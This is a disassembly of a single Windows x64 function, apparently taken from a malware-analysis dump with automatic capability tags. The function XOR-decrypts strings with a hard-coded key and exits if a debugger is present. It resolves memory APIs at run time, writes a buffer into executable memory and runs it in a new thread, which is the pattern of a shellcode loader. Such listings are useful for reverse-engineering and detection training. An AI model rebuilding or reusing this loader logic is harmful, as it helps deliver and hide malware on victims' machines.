Function at 0x14000af20
Capabilities:
Create thread
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0xcf0
mov rax, qword [0x140028008]
xor rax, rsp
mov qword [rsp + 0xce0], rax
xor r14d, r14d
lea r9, [0x140028a61]
mov dword [rsp + 0x34], r14d
lea r15, str.mysupersecretkey
mov ecx, r14d
mov r10d, r14d
mov rdi, rdx
nop word [rax + rax]
cmp ecx, 0x10
mov r8d, r14d
mov edx, r14d
cmovne r8d, ecx
mov ecx, r14d
movsxd rax, r8d
movzx eax, byte [rax + r15]
xor byte [r9 - 1], al
lea eax, [r8 + 1]
cmp r8d, 0xf
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r15]
xor byte [r9], al
lea eax, [rcx + 1]
cmp ecx, 0xf
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r15]
xor byte [r9 + 1], al
lea eax, [rdx + 1]
cmp edx, 0xf
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r15]
xor byte [r9 + 2], al
lea eax, [rcx + 1]
cmp ecx, 0xf
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r15]
xor byte [r9 + 3], al
lea eax, [rdx + 1]
cmp edx, 0xf
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r15]
xor byte [r9 + 4], al
lea eax, [rcx + 1]
cmp ecx, 0xf
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r15]
xor byte [r9 + 5], al
lea eax, [rdx + 1]
cmp edx, 0xf
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r15]
xor byte [r9 + 6], al
lea eax, [rcx + 1]
cmp ecx, 0xf
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r15]
xor byte [r9 + 7], al
lea eax, [rdx + 1]
cmp edx, 0xf
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r15]
xor byte [r9 + 8], al
lea eax, [rcx + 1]
cmp ecx, 0xf
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r15]
xor byte [r9 + 9], al
lea eax, [rdx + 1]
cmp edx, 0xf
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r15]
mov edx, r14d
xor byte [r9 + 0xa], al
lea r9, [r9 + 0xe]
cmp ecx, 0xf
lea eax, [rcx + 1]
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r15]
xor byte [r9 - 3], al
lea eax, [rdx + 1]
cmp edx, 0xf
cmovne ecx, eax
add r10d, 0xe
movsxd rax, ecx
movzx eax, byte [rax + r15]
xor byte [r9 - 2], al
inc ecx
cmp r10d, 0xe
jb 0x14000af70
mov rbx, 0xffffffffffffffff
lea rdx, [0x140028a60]
mov r8, rbx
inc r8
cmp byte [rdx + r8], r14b
jne 0x14000b0e4
lea rsi, [0x140029da8]
inc r8
mov rcx, rsi
call fcn.140016254
mov rcx, qword [rdi]
lea rdx, [0x140009710]
mov qword [0x140029dd0], rsi
call fcn.14000e050
test rax, rax
jne 0x14000b130
lea rcx, [0x140009720]
call fcn.14000a8b0
mov eax, 0xfffffffe
jmp 0x14000b85c
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x14000b150
lea rcx, [0x140009730]
call fcn.14000a8b0
mov eax, 0xfffffffe
jmp 0x14000b85c
call fcn.14000abc0
test eax, eax
je 0x14000b16f
lea rcx, [0x140009750]
call fcn.14000a8b0
mov eax, 0xfffffffe
jmp 0x14000b85c
mov ecx, 0x5f5e100
call fcn.140016654
mov rdi, rax
test rax, rax
je 0x14000b85a
xor edx, edx
mov qword [rsp + 0xd10], rbp
mov r8d, 0x5f5e100
mov rcx, rax
call fcn.14000e5a0
mov rcx, rdi
call fcn.140016640
lea rdx, [rsp + 0x50]
mov ecx, 9
lea rax, [0x140009790]
nop word [rax + rax]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rcx, 1
jne 0x14000b1c0
mov rcx, qword [rax]
mov qword [rdx], rcx
mov ecx, dword [rax + 8]
mov dword [rdx + 8], ecx
movzx ecx, word [rax + 0xc]
mov word [rdx + 0xc], cx
movzx ecx, byte [rax + 0xe]
lea rax, [rsp + 0x50]
mov byte [rdx + 0xe], cl
inc rbx
cmp byte [rax + rbx], r14b
jne 0x14000b233
mov edx, ebx
lea rcx, [0x140009c20]
call fcn.14000a8b0
xor edx, edx
lea rcx, [rsp + 0x4e0]
mov r8d, 0x800
call fcn.14000e5a0
movsxd rcx, ebx
lea rdi, [rsp + 0x50]
add rdi, rcx
mov dword [rsp + 0x30], r14d
lea rsi, [rsp + 0x4e0]
mov rbp, rdi
test ebx, ebx
je 0x14000b35a
dec rcx
movabs rax, 0xcccccccccccccccd
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*4]
cmp rcx, rax
je 0x14000b2bd
mov r8d, 0xd2
lea rdx, [0x140009c40]
lea rcx, [0x140009ca0]
call fcn.140016dd8
jmp 0x14000b35a
movsx eax, byte [rsp + 0x50]
sub eax, 0x30
movsxd rbx, eax
lea rax, [rbx - 1]
cmp rax, 3
jbe 0x14000b2ed
mov r8d, 0xdd
lea rdx, [0x140009c40]
lea rcx, [0x140009d20]
call fcn.140016dd8
jmp 0x14000b35a
sub rdi, 5
lea rax, [rsp + 0x51]
cmp rax, rdi
je 0x14000b313
lea r8, [rsp + 0x4e0]
mov rdx, rdi
lea rcx, [rsp + 0x51]
call fcn.14000b890
mov rsi, rax
lea r8, [rsp + 0x30]
mov rdx, rbp
mov rcx, rdi
call fcn.14000b890
sub rbx, 1
je 0x14000b353
sub rbx, 1
je 0x14000b34b
sub rbx, 1
je 0x14000b343
cmp rbx, 1
jne 0x14000b35a
movzx eax, byte [rsp + 0x33]
mov byte [rsi + 3], al
movzx eax, byte [rsp + 0x32]
mov byte [rsi + 2], al
movzx eax, byte [rsp + 0x31]
mov byte [rsi + 1], al
movzx eax, byte [rsp + 0x30]
mov byte [rsi], al
mov edx, 0x800
lea rcx, [0x140009c20]
call fcn.14000a8b0
mov rbp, qword [rsp + 0xd10]
lea r8, [0x140028aa1]
mov ecx, r14d
mov r9d, r14d
cmp ecx, 0x10
mov edx, r14d
cmovne edx, ecx
mov ecx, r14d
movsxd rax, edx
movzx eax, byte [rax + r15]
xor byte [r8 - 1], al
lea eax, [rdx + 1]
cmp edx, 0xf
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r15]
xor byte [r8], al
lea eax, [rcx + 1]
cmp ecx, 0xf
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r15]
xor byte [r8 + 1], al
lea eax, [rdx + 1]
cmp edx, 0xf
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r15]
xor byte [r8 + 2], al
lea eax, [rcx + 1]
cmp ecx, 0xf
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r15]
xor byte [r8 + 3], al
lea eax, [rdx + 1]
cmp edx, 0xf
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r15]
xor byte [r8 + 4], al
lea eax, [rcx + 1]
cmp ecx, 0xf
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r15]
xor byte [r8 + 5], al
lea eax, [rdx + 1]
cmp edx, 0xf
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r15]
xor byte [r8 + 6], al
lea eax, [rcx + 1]
cmp ecx, 0xf
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r15]
xor byte [r8 + 7], al
lea eax, [rdx + 1]
cmp edx, 0xf
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r15]
xor byte [r8 + 8], al
lea eax, [rcx + 1]
cmp ecx, 0xf
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r15]
xor byte [r8 + 9], al
lea eax, [rdx + 1]
cmp edx, 0xf
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r15]
add r9d, 0xc
xor byte [r8 + 0xa], al
lea r8, [r8 + 0xc]
inc ecx
cmp r9d, 0xc
jb 0x14000b380
mov ecx, r14d
lea r8, [0x140028a51]
mov r9d, r14d
nop dword [rax]
cmp ecx, 0x10
mov edx, r14d
cmovne edx, ecx
mov ecx, r14d
movsxd rax, edx
movzx eax, byte [rax + r15]
xor byte [r8 - 1], al
lea eax, [rdx + 1]
cmp edx, 0xf
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r15]
xor byte [r8], al
lea eax, [rcx + 1]
cmp ecx, 0xf
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r15]
xor byte [r8 + 1], al
lea eax, [rdx + 1]
cmp edx, 0xf
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r15]
xor byte [r8 + 2], al
lea eax, [rcx + 1]
cmp ecx, 0xf
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r15]
xor byte [r8 + 3], al
lea eax, [rdx + 1]
cmp edx, 0xf
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r15]
xor byte [r8 + 4], al
lea eax, [rcx + 1]
cmp ecx, 0xf
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r15]
xor byte [r8 + 5], al
lea eax, [rdx + 1]
cmp edx, 0xf
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r15]
xor byte [r8 + 6], al
lea eax, [rcx + 1]
cmp ecx, 0xf
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r15]
xor byte [r8 + 7], al
lea eax, [rdx + 1]
cmp edx, 0xf
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r15]
xor byte [r8 + 8], al
lea eax, [rcx + 1]
cmp ecx, 0xf
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r15]
xor byte [r8 + 9], al
lea eax, [rdx + 1]
cmp edx, 0xf
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r15]
mov edx, r14d
xor byte [r8 + 0xa], al
lea r8, [r8 + 0xe]
cmp ecx, 0xf
lea eax, [rcx + 1]
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r15]
xor byte [r8 - 3], al
lea eax, [rdx + 1]
cmp edx, 0xf
cmovne ecx, eax
add r9d, 0xe
movsxd rax, ecx
movzx eax, byte [rax + r15]
xor byte [r8 - 2], al
inc ecx
cmp r9d, 0xe
jb 0x14000b4c0
mov ecx, r14d
lea r9, [0x140028ab1]
mov r10d, r14d
nop dword [rax]
cmp ecx, 0x10
mov edx, r14d
mov r8d, r14d
cmovne edx, ecx
mov ecx, r14d
movsxd rax, edx
movzx eax, byte [rax + r15]
xor byte [r9 - 1], al
lea eax, [rdx + 1]
cmp edx, 0xf
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r15]
xor byte [r9], al
lea eax, [rcx + 1]
cmp ecx, 0xf
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r15]
xor byte [r9 + 1], al
lea eax, [rdx + 1]
cmp edx, 0xf
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r15]
xor byte [r9 + 2], al
lea eax, [rcx + 1]
cmp ecx, 0xf
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r15]
xor byte [r9 + 3], al
lea eax, [rdx + 1]
cmp edx, 0xf
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r15]
xor byte [r9 + 4], al
lea eax, [rcx + 1]
cmp ecx, 0xf
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r15]
xor byte [r9 + 5], al
lea eax, [rdx + 1]
cmp edx, 0xf
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r15]
xor byte [r9 + 6], al
lea eax, [rcx + 1]
cmp ecx, 0xf
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r15]
xor byte [r9 + 7], al
lea eax, [rdx + 1]
cmp edx, 0xf
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r15]
xor byte [r9 + 8], al
lea eax, [rcx + 1]
cmp ecx, 0xf
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r15]
xor byte [r9 + 9], al
lea eax, [rdx + 1]
cmp edx, 0xf
cmovne r8d, eax
movsxd rax, r8d
movzx eax, byte [rax + r15]
mov ecx, r14d
xor byte [r9 + 0xa], al
lea r9, [r9 + 0xd]
cmp r8d, 0xf
lea eax, [r8 + 1]
cmovne ecx, eax
add r10d, 0xd
movsxd rax, ecx
movzx eax, byte [rax + r15]
xor byte [r9 - 2], al
inc ecx
cmp r10d, 0xd
jb 0x14000b630
call fcn.14000a9c0
mov rcx, rax
lea rdx, [0x140028aa0]
call fcn.14000ab10
mov rbx, rax
call fcn.14000a9c0
mov rcx, rax
lea rdx, [0x140028a50]
call fcn.14000ab10
lea rcx, [0x140009c28]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor ecx, ecx
mov edx, 0x800
mov r8d, 0x3000
lea r9d, [rcx + 4]
call rbx
mov r8d, 0x800
lea rdx, [rsp + 0x4e0]
mov rcx, rax
mov rbx, rax
call fcn.14000e760
lea r9, [rsp + 0x34]
mov edx, 0x800
mov r8d, 0x10
mov rcx, rbx
call rdi
mov dword [0x140029d80], r14d
lea rcx, [rsp + 0x38]
mov qword [0x140029d88], rcx
mov qword [0x140029d90], r14
mov qword [0x140029d98], rbx
mov dword [0x140029da0], 0x800
test eax, eax
je 0x14000b85a
mov qword [rsp + 0x28], r14
xor r9d, r9d
mov r8, rbx
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0xce0]
xor rcx, rsp
call fcn.14000b960
lea r11, [rsp + 0xcf0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rdi
ret